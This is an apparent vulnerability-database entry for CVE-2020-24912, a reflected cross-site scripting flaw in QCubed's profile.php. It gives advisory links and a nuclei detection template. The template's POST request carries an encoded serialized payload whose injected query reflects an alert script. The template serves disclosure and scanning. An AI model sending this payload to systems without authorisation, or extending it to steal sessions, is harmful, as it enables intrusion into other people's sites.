QCube Cross-Site-Scripting

🗓️ 20 Oct 2026 02:05:18Reported by ProjectDiscoveryType

nuclei🔗 github.com👁 124 Views

A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. Upgrade to the latest version to mitigate this vulnerability

Reporter	Title	Published	Views	Family All 16
zdt	QCubed 3.1.1 Cross Site Scripting Vulnerability	13 Mar 202100:00	–	zdt
Circl	CVE-2020-24912	4 Mar 202116:46	–	circl
CNNVD	Matthias Van Woensel’s qcubed cross-site scripting vulnerabilities	4 Mar 202100:00	–	cnnvd
CVE	CVE-2020-24912	4 Mar 202112:30	–	cve
Cvelist	CVE-2020-24912	4 Mar 202112:30	–	cvelist
Github Security Blog	qcubed reflected cross-site scripting (XSS) vulnerability	24 May 202217:43	–	github
KittySploit	QCube Cross-Site-Scripting Detection	28 Jul 202611:27	–	kittysploit
Mend	CVE-2020-24912	4 Mar 202112:30	–	mend
NVD	CVE-2020-24912	4 Mar 202113:15	–	nvd
osv_ghsa	GHSA-XJ4V-GP4Q-H6QQ qcubed reflected cross-site scripting (XSS) vulnerability	24 May 202217:43	–	osv_ghsa

Source	Link
ait	www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03
github	www.github.com/qcubed/qcubed/pull/1320/files
nvd	www.nvd.nist.gov/vuln/detail/CVE-2020-24912
seclists	www.seclists.org/fulldisclosure/2021/Mar/30
qcubed	www.qcubed.com/

id: CVE-2020-24912

info:
  name: QCube Cross-Site-Scripting
  author: pikpikcu
  severity: medium
  description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03
    - https://github.com/qcubed/qcubed/pull/1320/files
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24912
    - http://seclists.org/fulldisclosure/2021/Mar/30
    - http://qcubed.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24912
    cwe-id: CWE-79
    epss-score: 0.0634
    epss-percentile: 0.93566
    cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: qcubed
    product: qcubed
  tags: cve2020,cve,qcubed,xss,seclists,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/assets/_core/php/profile.php"
      - "{{BaseURL}}/assets/php/profile.php"
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"

    body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K="

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('xss')</script>"

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'
# digest: 490a00463044022002e9821ab8f7c3f54fbd6fe5f401419d9f4f0c0208241a57276958ce85c13d910220387bdf153aec21eadf679e5c5e0a0a7ab0557c55622cdb51ace4e9f51c8e83bd:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 24.3

CVSS 3.16.1

EPSS0.0634